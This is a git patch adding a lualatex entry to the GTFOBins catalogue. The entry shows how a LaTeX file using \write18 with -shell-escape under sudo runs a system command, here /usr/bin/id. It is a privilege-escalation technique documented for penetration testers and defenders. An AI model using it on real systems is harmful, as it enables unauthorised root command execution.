From 806c8054ebc9b51bb101c51f04abaf4dd99fb289 Mon Sep 17 00:00:00 2001 From: SynackCerv <80706218+SynackCerv@users.noreply.github.com> Date: Thu, 22 Apr 2021 22:16:14 +0200 Subject: [PATCH] Create lualatex.md Add lualatex. --- _gtfobins/lualatex.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 _gtfobins/lualatex.md diff --git a/_gtfobins/lualatex.md b/_gtfobins/lualatex.md new file mode 100644 index 0000000..0cd0520 --- /dev/null +++ b/_gtfobins/lualatex.md @@ -0,0 +1,6 @@ +description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts. +functions: + sudo: + - code: | + echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex + sudo lualatex -shell-escape file.tex